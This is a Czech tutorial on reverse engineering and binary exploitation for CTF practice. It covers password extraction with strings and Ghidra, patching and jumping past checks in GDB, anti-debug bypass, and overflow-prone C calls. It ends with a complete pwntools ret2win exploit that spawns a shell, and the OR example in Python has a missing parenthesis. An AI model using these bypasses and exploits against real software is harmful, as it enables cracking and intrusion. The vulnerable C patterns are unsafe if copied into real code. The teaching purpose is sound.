Kde se reverse engineering používá?

Reverse engineering se uplatňuje především v oblasti kybernetické bezpečnosti, kde slouží k analýze škodlivého kódu (malware) a k identifikaci zranitelností v programech. Dále se využívá v herním průmyslu (modding, analýza herních mechanik) a v softwarovém vývoji, například při porozumění legacy kódu bez dokumentace.

Capture the Flag

Významné zastoupení má reverse engineering v CTF (Capture The Flag) soutěžích, kde tvoří jednu ze základních kategorií. Úlohy typicky spočívají v analýze poskytnuté binárky s cílem získat flag, například obejitím autentizační logiky nebo pochopením mechanismu generování klíče a jeho reprodukcí na vzdálené instanci.

Nástroje

K reverse engineeringu se používá řada specializovaných nástrojů. Základní dělení je následující:

Dekompilátory (a disassemblery)

Tyto nástroje slouží ke statické analýze binárního kódu. Disassembler převádí strojový kód na instrukce v assembly, zatímco dekompilátor se snaží rekonstruovat kód na vyšší úrovni abstrakce (typicky pseudokód podobný jazyku C).

Zde je seznam často využívaných nástrojů:

  • Ghidra
  • Binary Ninja
  • IDA

Debugger

Debugger umožňuje dynamickou analýzu programu – připojí se k běžícímu procesu a umožňuje řídit jeho vykonávání (execution), například krokovat instrukce, nastavovat breakpointy a inspektovat paměť a registry.

Známé debuggery:

  • GDB (GNU Debugger)
  • GEF (GDB Enhanced Features)
  • pwndbg

Statická analýza

Statická analýza je technika reverse engineeringu, při které zkoumáme program bez jeho spuštění. Cílem je pochopit strukturu a logiku programu pouze na základě jeho binární podoby, či analýza jeho statických dat.

Mezi základní techniky statické analýzy patří:

  • datová analýza
  • dekompilace / disassemblace

Datová analýza

Strings

Mnoho programů obsahuje v binární podobě čitelné stringy. Ty mohou zahrnovat například:

  • uživatelské zprávy
  • chybové hlášky
  • hesla nebo klíče

V Linuxu lze tyto řetězce snadno vypsat pomocí nástroje strings:

$ strings program

Ukázka výstupu:

$ strings program
What's the password?
ACCESS GRANTED
Wrong password!
Sup3rStr0ngP4ssw0rd123!
...

Z výstupu můžeme identifikovat zajímavé hodnoty. Pokud máme podezření na konkrétní pattern (např. flag v CTF), můžeme použít filtraci:

$ strings program | grep flag{

Další častý scénář je nalezení hesla přímo ve výpisu:

$ strings program | grep pass

Pokud program obsahuje heslo v plain textu, lze jej tímto způsobem snadno odhalit.

Praktická ukázka

$ ./program
What's the password? test
Wrong password!

$ ./program
What's the password? Sup3rStr0ngP4ssw0rd123!
ACCESS GRANTED

Pomocí strings jsme byli schopni odhalit správné heslo bez znalosti zdrojového kódu.

Dekompilace

Technika strings je jednoduchá, ale ne vždy funguje – citlivé hodnoty mohou být skryté nebo generované dynamicky. V takovém případě využíváme dekompilaci.

Dekompilace je proces převodu binárního kódu zpět do podoby vyššího jazyka (typicky pseudokód podobný C). K tomu lze využít nástroje jako Ghidra.

Základní postup v Ghidra

  1. Vytvoření projektu (File → New Project)
  2. Import binárky (File → Import File)
  3. Spuštění analýzy (Analyze)
  4. Otevření funkce main

Ghidra zobrazí:

  • assembly
  • dekompilovaný pseudokód (C-like či Rust-like)

Ukázka dekompilovaného kódu

if (strcmp(input, "TajneHeslo123!") == 0) {
    puts("ACCESS GRANTED");
} else {
    puts("Wrong password!");
}

Z dekompilovaného kódu lze snadno odvodit:

  • jak program pracuje
  • jak probíhá kontrola vstupu
  • jaká je správná hodnota (v tomto případě heslo)

Klíčová je funkce strcmp, která vrací 0 v případě shody. Program tedy porovnává vstup uživatele s pevně daným řetězcem.

$ ./program
What's the password? TajneHeslo123!
ACCESS GRANTED

Kdy použít statickou analýzu?

Statickou analýzu (zejména s využitím dekompilátoru) je vhodné použít ve chvíli, kdy problém nelze vyřešit pouhým nalezením vstupu. Typicky jde o situace, kdy je kontrolní logika implementována složitěji a hodnoty nejsou v binárce přímo uložené v čitelné podobě.

Mezi takové případy patří například:

  • flag checkery – vstup je ověřován pomocí více kroků (např. transformace, XOR, hashování, kontrolní součty)
  • keygen úlohy – program generuje nebo ověřuje klíč na základě určitého algoritmu
  • obfuskovaný kód – hodnoty jsou záměrně skryté nebo rozdělené do více částí
  • vícekroková validace – vstup prochází několika podmínkami, smyčkami nebo funkcemi

V těchto scénářích je potřeba pochopit samotnou logiku programu. Dekompilátor umožňuje rekonstruovat strukturu kódu (větvení, smyčky, funkce) a identifikovat, jakým způsobem je vstup zpracováván. Na základě toho lze buď odvodit správný vstup, nebo vytvořit vlastní řešení (např. keygen), které splní požadované podmínky.

Dynamická analýza

Dynamická analýza je technika reverse engineeringu, při které program spouštíme a sledujeme jeho chování za běhu. Na rozdíl od statické analýzy tak pracujeme s reálným execution flow, pamětí a registry.

Cílem je například:

  • sledovat, jak program zpracovává vstup
  • identifikovat rozhodovací body (podmínky)
  • manipulovat běh programu

Nástroje

Pro dynamickou analýzu se používají debuggery. V této části budeme pracovat s GDB rozšířeným o GEF (GDB Enhanced Features).

GEF přidává:

  • lepší výpis registrů
  • přehlednější práci s pamětí
  • užitečné zkratky pro reversing

Další velmi užitečné nástroje:

strace

$ strace ./program

Sleduje, jak program komunikuje s jádrem (syscalls).

ltrace

$ ltrace ./program

Zobrazuje volání knihovních funkcí (např. strcmp, printf, open).

Základy debugování

Spuštění programu v GDB:

$ gdb ./program

Spuštění programu:

gef➤  run

Breakpointy

gef➤  break main
gef➤  break strcmp

next vs step

gef➤  next   # přeskočí funkce
gef➤  step   # vstoupí do funkce

Registry

gef➤  info registers

Na Linuxu (x86-64, System V ABI):

  • rdi = 1. argument
  • rsi = 2. argument
  • rax = návratová hodnota

Výpis funkcí

gef➤  info functions

Disassemble

gef➤  disassemble main

Umožní zobrazit assembler kód funkce, což je základ pro pochopení větvení programu.

Ukázka: strcmp

Program často používá funkci strcmp pro porovnání vstupu:

if (strcmp(vstupUzivatele, "Klic_2026_x7!") == 0) {
    puts("ACCESS GRANTED");
} else {
    puts("Wrong password!");
}

Můžeme nastavit breakpoint na strcmp a program spustit:

gef➤  break strcmp
gef➤  run

Po zastavení programu zkontrolujeme registry. Na architektuře x86-64 se argumenty funkce předávají přes registry, přičemž:

  • první argument je v registru rdi
  • druhý argument je v registru rsi

Ukázkový výstup může vypadat například takto:

gef➤  info registers
rax            0x0                 0x0
rbx            0x7fffffffe1d8      0x7fffffffe1d8
rcx            0x7ffff7e2e6a0      0x7ffff7e2e6a0 <strcmp>
rdx            0x0                 0x0
rsi            0x555555556004      0x555555556004
rdi            0x7fffffffe0f0      0x7fffffffe0f0
rbp            0x7fffffffe160      0x7fffffffe160
rsp            0x7fffffffe0d8      0x7fffffffe0d8
rip            0x7ffff7e2e6a0      0x7ffff7e2e6a0 <strcmp>

Samotné registry nám řeknou, kde se argumenty nacházejí. Obsah řetězců následně přečteme z paměti.

Čtení stringů z paměti

Obsah paměti lze zobrazit například takto:

gef➤  x/s $rdi
0x7fffffffe0f0: "test"

gef➤  x/s $rsi
0x555555556004: "Klic_2026_x7!"

To nám umožní přímo vidět:

  • uživatelský vstup
  • očekávanou hodnotu, se kterou se porovnává

Další možností je dump paměti po bytech:

gef➤  x/20bx $rdi
0x7fffffffe0f0: 0x74 0x65 0x73 0x74 0x00 0x41 0x41 0x41
0x7fffffffe0f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe100: 0x00 0x00 0x00 0x00

Tento přístup je užitečný zejména tehdy, když data nejsou čistý string, ale například pole bajtů, binární buffer nebo částečně zakódovaná hodnota.

Jumping

Debugger umožňuje změnit execution flow programu. To znamená, že můžeme ručně přeskočit část kódu a pokračovat od jiné instrukce.

Například po analýze disassemblovaného kódu zjistíme, že adresa 0x401234 odpovídá větvi, která vypisuje ACCESS GRANTED. Poté lze provést:

gef➤  jump *0x401234

Tím se změní instrukční pointer (rip) a program začne vykonávání od zadané adresy.

Jumping je užitečný například tehdy, když:

  • chceme přeskočit neúspěšnou větev programu
  • chceme otestovat konkrétní blok kódu bez splnění všech podmínek
  • chceme rychle ověřit, co daná větev dělá

Je však potřeba opatrnost: skok do nesprávného místa může narušit stav programu. Pokud cílový blok očekává určité registry, zásobník nebo inicializovaná data, program může spadnout nebo se chovat nepředvídatelně.

Patching

Patching znamená úpravu instrukcí programu. Lze jej provádět buď dočasně za běhu, nebo trvale přímo v binárce.

Dočasný patch v debuggeru

Jednoduchý příklad je přepsání instrukce pomocí NOP (No Operation), čímž efektivně odstraníme část kódu:

gef➤  set {char}0x401220 = 0x90

Instrukce 0x90 na x86 odpovídá NOP. Pokud takto přepíšeme například podmíněný skok nebo část kontroly, program může pokračovat bez validace.

Praktický význam

Patching se používá například tehdy, když chceme:

  • odstranit kontrolu hesla
  • obejít podmíněný skok
  • změnit chování programu při testování
  • ověřit hypotézu o významu konkrétní instrukce

Techniky a tipy

V rámci reverse engineeringu se lze setkat s širokou škálou transformací dat, bitových operací, jednoduchých šifer, validačních smyček i obranných mechanismů, jako jsou anti-debug techniky nebo self-checky. Cílem této kapitoly je shrnout nejčastější techniky, se kterými se lze v CTF a jednoduchých crackme úlohách setkat, a ukázat praktické způsoby jejich analýzy.

Bitové operace

Bitové operace patří mezi nejběžnější techniky používané při úpravě vstupu. V binárce se často objevují jako součást jednoduchého „šifrování“ nebo transformace dat před porovnáním.

Nejčastější operace jsou:

  • + a - nad bajty
  • & (AND)
  • | (OR)
  • ^ (XOR)
  • bitové posuny << a >>

Při analýze je důležité pamatovat na to, že se často pracuje pouze s jedním bajtem, tedy v rozsahu 0x000xff.

V jazyce C dochází při práci s typem char nebo unsigned char k implicitnímu přetečení (wrap-around). V jazycích jako Python je však nutné toto chování simulovat explicitně, typicky pomocí maskování & 0xff.

Sčítání nad bajty

Příklad transformace:

out[i] = input[i] + key;

Reverzní operace:

cipher = [0x81, 0x75, 0x83, 0x84]
plain = ''.join(chr((b - key) & 0xff) for b in cipher)
print(plain)

Odčítání nad bajty

out[i] = input[i] - key;

Python:

cipher = [0x74, 0x62, 0x6f, 0x64]
plain = ''.join(chr((b + key) & 0xff) for b in cipher)
print(plain)

AND

Operace AND se používá pro maskování bitů:

out[i] = input[i] & key;

Python:

data = [0xf4, 0xe5, 0xf3, 0xf4]
masked = ''.join(chr(b & key) for b in data)
print(masked)

Je třeba počítat s tím, že AND bývá částečně nevratná operace - pokud maska maže bity, původní hodnotu již nemusí být možné jednoznačně rekonstruovat.

OR

out[i] = input[i] | key;

Python:

data = [0x41, 0x42, 0x43]
result = ''.join(chr(b | key for b in data)
print(result)

Tato operace se často používá například pro převod velkých písmen na malá.

Bitové posuny

out[i] = input[i] << key;

Python:

data = [0x21, 0x22, 0x23]
shifted = [(b << key) & 0xff for b in data]
print([hex(x) for x in shifted])

Při zpětné rekonstrukci je nutné dávat pozor na ztrátu bitů při přetečení.

XOR

XOR je natolik častý, že si zaslouží samostatnou sekci. V reverse engineeringu se používá pro jednoduché zakrývání řetězců, kontrolu vstupu i lehkou obfuskaci.

Základní vlastnost XOR:

a ^ b ^ b = a

To znamená, že stejnou operací lze data jak zakódovat, tak dekódovat.

XOR s jedním klíčem

cipher = [0x35, 0x2c, 0x21, 0x26]
key = 0x42
plain = ''.join(chr(b ^ key) for b in cipher)
print(plain)

XOR nad hex polem

cipher = [0x10, 0x23, 0x37, 0x55]
key = 0x41
decoded = [b ^ key for b in cipher]
print(decoded)
print(''.join(chr(x) for x in decoded))

XOR nad stringem

text = "hello"
key = 0x20
encoded = bytes([ord(c) ^ key for c in text])
print(encoded)
print(''.join(chr(b ^ key) for b in encoded))

XOR se opakujícím se klíčem

cipher = bytes([0x27, 0x2a, 0x3f, 0x39, 0x24])
key = b"key"
plain = bytes(cipher[i] ^ key[i % len(key)] for i in range(len(cipher)))
print(plain)

V CTF se velmi často objevuje právě opakující se klíč nebo jednoduchý jednobajtový XOR.

Obvyklé šifry

V jednoduchých reversing úlohách se pravidelně objevují i klasické substituční nebo posunové šifry. Obvykle nejde o skutečně bezpečné šifrování, ale spíše o překážku, kterou má řešitel rozpoznat.

Caesarova šifra

Každé písmeno se posune o pevný počet pozic.

def caesar_decrypt(text, shift):
    out = []
    for c in text:
        if 'a' <= c <= 'z':
            out.append(chr((ord(c) - ord('a') - shift) % 26 + ord('a')))
        elif 'A' <= c <= 'Z':
            out.append(chr((ord(c) - ord('A') - shift) % 26 + ord('A')))
        else:
            out.append(c)
    return ''.join(out)

print(caesar_decrypt("Khoor", 3))

ROT13

ROT13 je speciální případ Caesarovy šifry s posunem 13.

def rot13(text):
    out = []
    for c in text:
        if 'a' <= c <= 'z':
            out.append(chr((ord(c) - ord('a') + 13) % 26 + ord('a')))
        elif 'A' <= c <= 'Z':
            out.append(chr((ord(c) - ord('A') + 13) % 26 + ord('A')))
        else:
            out.append(c)
    return ''.join(out)

print(rot13("synt{grfg}"))

Atbash

Atbash převrací abecedu: a -> z, b -> y, atd.

def atbash(text):
    out = []
    for c in text:
        if 'a' <= c <= 'z':
            out.append(chr(ord('z') - (ord(c) - ord('a'))))
        elif 'A' <= c <= 'Z':
            out.append(chr(ord('Z') - (ord(c) - ord('A'))))
        else:
            out.append(c)
    return ''.join(out)

print(atbash("uozt{gvhg}"))

Base64

Base64 není šifra, ale velmi často se v reversing úlohách objevuje jako forma kódování dat.

import base64

encoded = "ZmxhZ3t0ZXN0fQ=="
print(base64.b64decode(encoded).decode())

Při analýze je proto důležité rozlišovat mezi šifrováním, kódováním a prostou transformací dat.

Hashe

Dalším častým vzorem je porovnávání hashe místo přímého porovnání vstupu. Program například neukládá heslo přímo, ale porovnává md5, sha1 nebo sha256 zadané hodnoty.

Pokud binárka porovnává hash, obvykle existují tři možnosti:

  • uhodnout nebo odvodit vstup z kontextu
  • použít slovníkový útok / brute force
  • patchnout validaci a obejít kontrolu úplně

V CTF bývá hash často použit jen jako jednoduchá překážka, nikoli jako skutečná ochrana.

Anti-debug

Některé programy se snaží detekovat přítomnost debuggeru a ukončit se, případně změnit své chování. Typické anti-debug techniky v Linux prostředí zahrnují například:

  • ptrace(PTRACE_TRACEME, ...)
  • kontrolu /proc/self/status
  • časové kontroly
  • self-checky nad vlastním kódem

Typický příklad:

if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
    puts("Debugger detected");
    exit(1);
}

Jak anti-debug odhalit

Nejprve je vhodné hledat podezřelé funkce:

  • ve statické analýze (ptrace, getppid, clock_gettime)
  • v ltrace nebo strace
  • v seznamu funkcí v GDB

Například:

ltrace ./program
strace ./program
gef➤  info functions

Jak anti-debug obejít

Základní možnosti jsou:

  • přeskočit kontrolní větev (jump)
  • změnit návratovou hodnotu funkce
  • patchnout podmínku nebo samotné volání

Praktický přístup v debuggeru bývá například:

  1. breakpoint na ptrace
  2. doběhnout za volání
  3. nastavit návratovou hodnotu na úspěch
gef➤  break ptrace
gef➤  run
gef➤  finish
gef➤  set $rax = 0
gef➤  continue

Pokud je kontrola provedena pouze jednou, tento postup často stačí. V opačném případě je vhodnější patchnout podmíněný skok nebo celé volání trvale.

Self-checky

Některé binárky kontrolují vlastní instrukce nebo checksum části kódu. To komplikuje patchování, protože každá změna může být detekována. V takovém případě bývá vhodné:

  • patchnout samotnou kontrolu integrity
  • přesměrovat tok programu za self-check
  • analyzovat, která část je skutečně ověřována

Binary Exploitation

Co je to binary exploitation?

Binary exploitation (zkráceně pwn) je oblast kybernetické bezpečnosti, která se zaměřuje na zneužívání chyb v binárních programech (typicky psaných v C/C++). Cílem je získat kontrolu nad chováním programu, a spustit vlastní kód, obejít omezení či získat citlivá data.

Na rozdíl od reverse engineeringu, kde se snažíme program pochopit, u binary exploitation jdeme o krok dál: hledáme zranitelnosti a aktivně je využíváme.

Jaké chyby se využívají?

Nejčastěji jde o chyby související s pamětí, například:

  • buffer overflow
  • use-after-free
  • double free
  • out-of-bounds přístupy

Tyto chyby vznikají často kvůli:

  • absenci kontroly délky vstupu
  • manuální práci s pamětí
  • nedostatečné validaci dat

Buffer Overflow (koncept)

Co je buffer overflow?

Buffer overflow (přetečení bufferu) je zranitelnost, ke které dochází, když program zapisuje více dat do paměťového bufferu, než kolik je pro něj alokováno.

Vizualizace

Představ si buffer o velikosti 8 bytů:

[ A A A A A A A A ]

Program ale zapíše 12 bytů:

[ A A A A A A A A | B B B B ]

Tyto extra hodnoty (B) přepíšou další data v paměti.

Proč je to problém?

Paměť programu není izolovaná po „logických blocích“, ale je lineární. To znamená, že:

  • vedle bufferu mohou být důležité hodnoty
  • může dojít k přepsání proměnných
  • v některých případech i návratové adresy funkce

To umožňuje útočníkovi ovlivnit chování programu.

Typické příklady v C

V praxi buffer overflow často vzniká při práci s funkcemi, které nekontrolují délku vstupu, nebo jsou použity nesprávně.

gets

char buffer[8];
gets(buffer);

Funkce gets vůbec nekontroluje délku vstupu, a proto je z principu nebezpečná.

fgets se špatnou velikostí

char buffer[8];
fgets(buffer, 64, stdin);

fgets je sama o sobě bezpečnější, ale pouze tehdy, pokud je předaná správná velikost bufferu. Zde program tvrdí, že může číst až 64 bytů do bufferu o velikosti 8 bytů.

strcpy

char buffer[8];
strcpy(buffer, "AAAAAAAAAAAAAAAA");

strcpy kopíruje data až do konce řetězce a neověřuje, zda se vejdou do cílového bufferu.

strcat

char buffer[8] = "ABC";
strcat(buffer, "DEFGHIJK");

strcat připojuje další data na konec existujícího řetězce. Pokud není v bufferu dostatek místa, dojde k přetečení.

sprintf

char buffer[8];
sprintf(buffer, "%s", "AAAAAAAAAAAA");

sprintf zapisuje formátovaný výstup bez omezení délky. Pokud výstup přesáhne velikost bufferu, dojde k přepisu paměti.

read

char buffer[8];
read(0, buffer, 32);

Nízkourovňové funkce jako read dávají programátorovi plnou kontrolu nad počtem čtených bytů. Pokud tento počet neodpovídá velikosti bufferu, vzniká overflow.

scanf bez omezení délky

char buffer[8];
scanf("%s", buffer);

Formát %s čte vstup až do whitespace, ale bez omezení délky. Bez specifikace maximální šířky je tak použití potenciálně nebezpečné.

memcpy

char buffer[8];
char src[32] = {0};
memcpy(buffer, src, 32);

memcpy kopíruje přesně zadaný počet bytů. Pokud programátor předá větší délku, než jakou má cílový buffer, dojde k přetečení.

Tyto funkce nejsou vždy samy o sobě „špatné“, ale při nesprávném použití velmi snadno vedou ke vzniku zranitelnosti.

Co lze přepsat?

V závislosti na kontextu může overflow ovlivnit například:

  • sousední proměnné
  • ukazatele
  • struktury
  • řídicí data (např. návratová adresa)

Stack vs Heap

Buffer overflow se může objevit na různých místech:

  • stack overflow – přetečení lokální proměnné ve funkci
  • heap overflow – přetečení dynamicky alokované paměti

Důležité poznámky

  • Ne každý overflow je exploitatelný
  • Moderní systémy mají ochrany (ASLR, NX, stack canary)
  • Přesto jde o jednu z nejdůležitějších tříd zranitelností

Shrnutí

Buffer overflow je situace, kdy program zapíše více dat, než kolik buffer pojme, a tím přepíše sousední paměť. To může vést k chybám programu nebo k jeho plnému ovládnutí.

Stack (koncept)

Co je to stack?

Stack (zásobník) je oblast paměti používaná pro ukládání dočasných dat při běhu programu. Funguje na principu LIFO (Last In, First Out) – poslední vložená hodnota je první odebraná.

Používá se zejména pro:

  • lokální proměnné funkcí
  • návratové adresy
  • ukládání registrů

Push / Pop

Základní operace nad stackem:

  • push – vloží hodnotu na stack
  • pop – odebere hodnotu ze stacku

Stack frame

Každé volání funkce vytváří tzv. stack frame – blok paměti obsahující:

  • lokální proměnné
  • uložený base pointer (rbp)
  • návratovou adresu

Důležité registry

Na Linuxu (x86-64):

  • rsp – stack pointer (ukazuje na vrchol stacku)
  • rbp – base pointer (začátek stack frame)
  • rip – instruction pointer (kam se pokračuje v kódu)

Proč je stack důležitý pro exploitation?

Buffer overflow na stacku může přepsat:

  • lokální proměnné
  • uložený rbp
  • návratovou adresu (return address)

To je klíčové, protože instrukce ret vezme adresu ze stacku a skočí na ni.

De Bruijn sekvence (cyclic pattern)

Pro nalezení přesného offsetu při overflow se používá de Bruijn sekvence (cyclic pattern).

Výhoda:

  • žádný podřetězec se neopakuje
  • lze přesně určit pozici v bufferu

Generování (pwntools):

$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabe...

Crash a nalezení offsetu

Spustíme program v GDB a pošleme pattern:

gef➤ run
Input: <cyclic pattern>

Po pádu programu:

gef➤ x $rsp
0x7fffffffd708: 0x6161616f

Hodnota 0x6161616f je část našeho patternu.

Zjistíme offset:

$ cyclic -l 0x6161616f
56

Tento výstup znamená že stack offset je 56.

Stack padding

Abychom například změnili návratovou adresu, musíme vyplnit buffer přesně správným množstvím dat:

payload = b"A" * 56 + p64(addr)
  • A * 56 → padding
  • p64(addr) → adresa v paměti

Shrnutí

  • stack ukládá data funkcí (proměnné, návratové adresy)
  • overflow může přepsat návratovou adresu
  • ret instrukce použije hodnotu ze stacku jako nový rip
  • de Bruijn sekvence pomáhá najít přesný offset
  • stack padding umožňuje přesně zasáhnout cílová data

Return 2 Win

Co je ret2win?

ret2win je jedna z technik binary exploitation. Princip je jednoduchý: přepíšeme návratovou adresu tak, aby program po vykonání instrukce ret skočil do již existující funkce, která pro nás udělá „výherní“ akci.

Typicky jde o funkci jako:

  • win
  • print_flag
  • get_shell

Tato technika je velmi častá v úvodních CTF pwn úlohách, protože dobře ukazuje základní princip ovládnutí toku programu.

Myšlenka útoku

Pokud máme stack overflow a známe správný offset k návratové adrese, můžeme payload sestavit takto:

payload = b"A" * stack_offset + p64(win_addr)

Význam jednotlivých částí:

  • b"A" * stack_offset vyplní buffer až k návratové adrese
  • p64(win_addr) zapíše novou 64bitovou adresu, na kterou se má program vrátit

Po návratu z funkce tedy program neskočí zpět do původního místa, ale do funkce win.

V této kapitole zatím neřešíme PIE, takže adresy funkcí bereme přímo z ELF souboru.

Příklad

Máme binárku, která obsahuje zranitelnou funkci a zároveň někde vevnitř existuje funkce win:

void win() {
    system("/bin/sh");
}

void vuln() {
    char buffer[64];
    gets(buffer);
}

Pokud gets umožní přepsat návratovou adresu, stačí program donutit vrátit se do win.

Nalezení adresy funkce

Pomocí pwntools lze načíst binárku jako ELF objekt:

from pwn import *

elf = ELF("./binary")
print(hex(elf.symbols["win"]))

Tím získáme adresu funkce win přímo ze symbolů ELF souboru.

Taktéž lze využít decompiler či debugger.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x1000  _init
0x1090  __cxa_finalize@plt
0x10a0  puts@plt
0x10b0  __stack_chk_fail@plt
0x10c0  printf@plt
0x10d0  close@plt
0x10e0  read@plt
0x10f0  open@plt
0x1100  _start
0x1130  deregister_tm_clones
0x1160  register_tm_clones
0x11a0  __do_global_dtors_aux
0x11e0  frame_dummy
0x11e9  main
0x12a8  win

Sestavení payloadu

Po nalezení offsetu a adresy funkce sestavíme payload přesně v tomto tvaru:

stack_offset = 72

payload = b"A" * stack_offset + p64(elf.symbols["win"])

To je základ celé techniky ret2win.

Kompletní payload

from pwn import *

elf = ELF("./binary")
io = process("./binary")

stack_offset = 72
payload = b"A" * stack_offset + p64(elf.symbols["win"])

io.sendline(payload)
io.interactive()

Tento exploit:

  • spustí proces
  • vytvoří správný payload
  • pošle jej programu
  • přepne se do interaktivního režimu

Pokud funkce win například spouští shell, získáme interaktivní shell. Pokud pouze vypisuje flag, uvidíme jej na výstupu.